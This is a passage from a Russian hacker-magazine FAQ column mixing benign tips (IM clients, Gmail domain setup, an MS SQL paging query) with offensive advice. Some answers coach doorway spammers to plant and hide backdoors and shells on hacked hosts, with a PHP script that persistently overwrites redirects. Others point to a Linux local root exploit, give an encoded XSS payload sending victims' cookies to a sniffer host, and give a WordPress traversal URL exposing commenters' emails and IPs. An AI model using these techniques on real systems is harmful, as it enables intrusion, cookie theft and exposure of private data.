Faq UnitedМаг (icq 884888) Хакер, номер #114, стр. 138 Задавая вопрос, подумай! Не стоит задавать откровенно ламерские вопросы, ответы на которые ты при определенном желании можешь найти и сам. Конкретизируй! Я не телепат, поэтому присылай как можно больше информации. Q: Не знаешь каких-либо альтернатив Mail.ru Агенту?A: Помимо бета-версии QIP Infium протокол от mail.ru также поддерживает небезызвестный в кругах IM'шников пейджер &ML. Вот некоторые его фичи:
Прога не тормозит при работе с медленными dialup- или gprs-соединениями (в отличие от стандартного клиента) и являет собой наш любимый open source :). Скачать клиент можно на его официальном сайте: http://andml.org.ru Q: Занимаясь SEO, столкнулся с проблемой кражи доров. Подскажи, как обезопасить себя от этой напасти?A: Если ты делаешь дорвей на хосте, взломанном через паблик уязвимость на установленном там движке, то можно закрыть каталог с этим движком chmod'ом, сменить хеш пароля админа на что-нибудь вроде lalal&^%$. Но обычно это все мало помогает, и дорвейщики сталкиваются с кражей доров post factum, поэтому запомни следующее правило: чтобы было проще вернуть свой дор, оставляй как можно больше бэкдоров и шеллов на взломанном хосте, не забывая прятать время модификации файлов через команду «touch -t ГодМесяцДеньЧасМинуты.Секунды шелл.php». После кражи дора первым делом найди и удали шеллы своих недоброжелателей (это можно сделать командой «find / -mtime -60|grep .php»), затем меняй переадресацию на свой шоп и обезопась себя следующим php-сценарием: <?php ignore_user_abort(true); set_time_limit(0); while(!is_file('stop.dat')) { @chmod('/var/www/html/catalog',0777); $textht='<?php header("Location: http://твой_шоп.com"); ?>'; $fp = @fopen("/var/www/html/catalog/index.php","w"); @flock ($fp, LOCK_EX); @fputs($fp,$textht); @flock ($fp, LOCK_UN); @fclose($fp); sleep(5); } ?> Залей скрипт с этим кодом (предварительно изменив пути на те, где у тебя лежал дорвей) в какой-либо каталог на сервере, доступный из веба, и запусти его в браузере. После этого браузер можешь закрывать :). Скрипт с периодичностью раз в 5 секунд будет перезаписывать файл с переадресацией на твой собственный, так что горе-воры очень удивятся, когда запишут свой файл с переадресацией, и на его месте тут же появится другой. Немного информации по теме кражи доров ты сможешь найти тут: http://forum.glavmed.com/showthread.php?t=1342 Q: Какой local root exploit под не самые старые ядра linux можешь посоветовать, как самый эффективный?A: По долгу службы я чаще всего сталкиваюсь с ядрами 2.6.2x ветки. Под них существует несколько паблик сплойтов, но моим любимым является Linux Kernel 2.6.17 - 2.6.24.1 vmsplice Local Root Exploit (http://milw0rm.com/exploits/5092). С ним я получаю рут в два шага:
Q: Нашел XSS на серьезном сервисе, но все нехорошие символы, кроме < и >, жестко фильтруются, как быть?A: Тоже недавно столкнулся с этим вопросом и придумал элегантное решение с объединением массивов и функции fromCharCode() в javascript. Смотри. У нас имеется адрес сниффера, который отлавливает приходящие на него кукисы, например http://snif.com/sniffer.php?id=[тут передаются куки]. Засовываем этот адрес в нехитрый php-скрипт: <?php $site='http://snif.com/sniffer.php?id='; for($i=0;$i<256;$i++) { $arr[chr($i)]=$i; } for($i=0;$i<strlen($site);$i++) { $i!=(strlen($site)-1) ? print $arr[substr($site,$i,1)]. ',' : print $arr[substr($site,$i,1)]; } ?> Получаем на выходе строку символов «104,116,116,112,58,47,47,115,110,105,102,46,99,111,109,47,115,110,105,102,102,101,114,46,112,104,112,63,105,100,61» и составляем на основе полученных данных свой код XSS: http://sitexss.com/xss.php?xss=><script>var myArray;myArray = new Array();myArray[1] = document.cookie;myArray[0] = String.fromCharCode(104,116,116,112,58,47,47,115,110,105,102,46,99, 111,109,47,115,110,105,102,102,101,114,46,112,104,112,63,105,100,61); string = myArray.join(1);location.href = string</script>< В результате, такая конструкция обойдет большинство фильтров (на тот же самый знак «+», который используется в большинстве случаев), и долгожданные кукисы будут у тебя! Q: Сколько всего существует сайтов с Google PR=10?A: Сложный вопрос. С каждым обновлением PR сайтов значительно меняется, но каноническими (и авторитетнейшими) «десятками» могут считаться следующие страницы:
Список сайтов с PR=9 ты можешь найти здесь: http://www.brand-zen.com/showpost.php?p=2957&postcount=11. Q: Замучался с регулярными выражениями! Подскажи, где бы их можно было проверять на валидность, что называется, не отходя от кассы?A: Недавно открытый сервис Javascript Regex Evaluator (http://www.pcre.ru/eval) предоставляет такую возможность! Сервис, основанный на javascript, позволяет прямо в окне браузера отслеживать результат выполнения твоих регулярных выражений. Немного о проекте от его создателей: «Проект PCRE.RU был задуман и разработан с целью помочь начинающим программистам изучить принципы и основы работы с регулярными выражениями. Проект нацелен на освещение информации о регулярных выражениях стандарта PCRE (Perl-compatible regular expressions) в связи с тем, что последние получили наибольшее распространение и применение в различных языках программирования (Perl, Php, Javascript и т.п), а также в таких сложных программных комплексах, как веб-сервер Apache». Q: Как узнать, сколько страниц сайта находятся не в supplement results (сопли, песок) у Гугла?A: Очень просто. Для этого существуют специальный запрос «site:site.com/*» или «site:site.com/&». В результате его выполнения Google покажет тебе страницы сайта, находящиеся в основном индексе. Q: Как можно посмотреть IP-адреса и e-mail людей, которые оставили свои комментарии на блоге WordPress?A: Недавно обнаруженная уязвимость в WordPress версий до 2.5 с моей доработкой предоставляет тебе такую возможность :). Итак, чтобы посмотреть полную конфиденциальную инфу комментаторов на блоге, ты должен зарегистрироваться и пройти по адресу http://blog.com/wp233/?cat=1.php/../../../../wp%252dadmin/edit%252dcomments. Также эта бага позволяет тебе всячески поиздеваться над блогом недоброжелателя, например:
И многое другое :). Ты можешь сам подставлять названия файлов из каталога ./wp-admin и ставить свои опыты над вордпрессом. P.S. По непроверенной информации бага работает только на Windows-платформах, но, так как я занимался уязвимостью только на винде, на никсах можешь поэкспериментировать сам. Q: Работаю с буржуйской партнеркой, которая платит только посредством банковских переводов (ваерами или чеками). Где бы мне обменять эти самые ваеры и чеки на вебмани?A: По собственном опыту могу посоветовать сервис http://ermoney.com. Помимо обмена всех онлайн валют друг на друга, здесь ты можешь обналичить чеки, ваеры или ACH direct deposit. Обычно обналичка чека с помощью этого сервиса происходит следующим образом:
В будущем сервис планирует работать с банковскими ATM-картами (пользователям будут высылаться карты, на которые и будут переводиться обналиченные деньги). Q: Нужен flash-баннер для моего сайта, но денег, чтобы заказать его у дизайнеров, нет :(. Посоветуй, что делать.A: Специально для таких халявщиков, как ты, придуман сервис http://123-banner.com. Тут ты сможешь прямо в онлайне создать свой собственный неплохой флеш-баннер. Все просто: сначала выбираешь тип баннера (Graphic Banner, Sound Banner, Picture Banner, Peel Banner, 80x210 Banner), затем загружаешь фоновый рисунок и задаешь различные параметры текста, который будет размещен на баннере. После этих нехитрых манипуляций у тебя появится бесплатная профессиональная флешка с твоей рекламой. Q: Как настроить gmail на свой домен, используя классный e-mail адрес вроде vasya@pupkin.ru и удобный интерфейс почтовика от Google?A: Предположим, что доменное имя у тебя уже есть. Впрочем, даже если ты не успел обзавестись собственным доменом, проблем возникнуть не должно: в Сети сейчас доступно просто огромное количество регистраторов, каждый из которых пытается предложить наиболее выгодные условия ($10-20 в год, а то и вовсе бесплатно в случае покупки хостинга – это самое обычное предложение). Первое, что нужно сделать, – зайти на сайт www.google.com/a/help/intl/en/business/applications.html и зарегистрироваться. Ты можешь воспользоваться либо бесплатным предложением, либо купить прокаченный (Premier) аккаунт, для которого доступны 25 Гб (против 6,5 Гб) и некоторые дополнительные возможности. Во время регистрации необходимо выбрать вариант с использованием уже существующего домена: I want to use an existing domainname. Однако, Google придется доказать, что домен принадлежит именно тебе, а для этого на хостинг потребуется залить специальный файл. Создай документ googlehostedservice.html, впиши в него код, который попросит Google, и загрузи его в корневую папку своего сайта через FTP-клиент или панель администратора сайта. Далее необходимо найти, где у твоего хостера/регистратора находятся настройки DNS – это необходимо, чтобы заменить существующие MX-записи на MX-записи Google’а. В соответствующей панели необходимо создать записи со следующими параметрами: Тип всех записей – MX Почтовый домен – оставляй пустым Почтовый сервер и приоритет почтового сервера: ASPMX.L.GOOGLE.COM. – приоритет 10 ALT1.ASPMX.L.GOOGLE.COM. – 20 ALT2.ASPMX.L.GOOGLE.COM. – 20 ASPMX2.GOOGLEMAIL.COM. – 30 ASPMX3.GOOGLEMAIL.COM. – 30 ASPMX4.GOOGLEMAIL.COM. – 30 ASPMX5.GOOGLEMAIL.COM. – 30 Теперь остается настроить интерфейс самого Google. Для этого переходим на http://google.com/a/, логинимся, переходим в панель управление и кликаем по ссылке «Manage this domain» (управлением доменом), где включаем работу с e-mail. Google проверит правильность указанных MX-записей и, если все ОК, – обновит базы. Теперь ты можешь создать пользователей и наслаждаться интерфейсом и возможностями Gmail’а для своего произвольного e-mail адреса! Q: Хочу начать работать на западных биржах для фрилансеров. Интересует такой вопрос: как наиболее просто получить заработанные деньги?A: Долгое время проблема заключалась в том, что у каждой из популярных бирж (GetAFreelancer, RentACoder, oDesk, eLance) были свои собственные порядки вывода денег. Одни предлагают выслать чек, который сложно и долго обналичивать, другие – выплаты через платежную систему PayPal, которая при всех свои достоинствах не позволяет принимать деньги резидентам из СНГ. Однако за последний год все перечисленные системы стали поддерживать новый метод выплат с использованием дебетовых карточек от компании Payoneer (www.payoneer.com). Заказать карту можно либо у самого сервиса, либо через посредника – в любом случае она придет тебе в течение нескольких недель. За пересылку с тебя возьмут $20, которые спишутся, как только на карте окажется достаточно средства. Для вывода средств тебе остается только указать параметры своего аккаунта в Payoneer, после чего быстро снимать перечисленные деньги через любой банкомат. Помимо возможности выводить деньги с внутренних счетов фрилансерских бирж, ты получаешь массу бонусов. Во-первых, ты приобретаешь карту международной платежной системы Mastercard (обслуживание такой карты в обычном банке обойдется не дешевле $20 в год), которую можешь использовать в любых магазинах, в том числе и онлайн. Во-вторых, ты сможешь выводить на нее Webmoney, используя сервис CardMoney (cardmoney.ru). Q: По просьбе заказчика переписываю код для работы с MS SQL вместо СУБД MySQL, которая использовалась ранее. И не могу понять: неужели в СУБД от Microsoft нет такой полезной вещи, как возможность указать LIMIT в SELECT запросе? Если так, то как это можно обойти?A: MS SQL действительно не имеет аналога LIMIT. После длительного использования MySQL это дико раздражает. Но решение есть. Оцени разницу. В MySQL запрос выглядит следующим образом: SELECT * FROM `some_table` LIMIT 10, 20 В случае с MS SQL придется «изобретать велосипед», что непременно приводит к потере производительности. 1. SELECT top 20 * FROM [some_table] 2. WHERE [primary_key_field] NOT IN 3. ( 4. SELECT top 10 [primary_key_field] 5. FROM [some_table] 6. ORDER BY [primary_key_field] 7. ) 8. ORDER BY [primary_key_field] |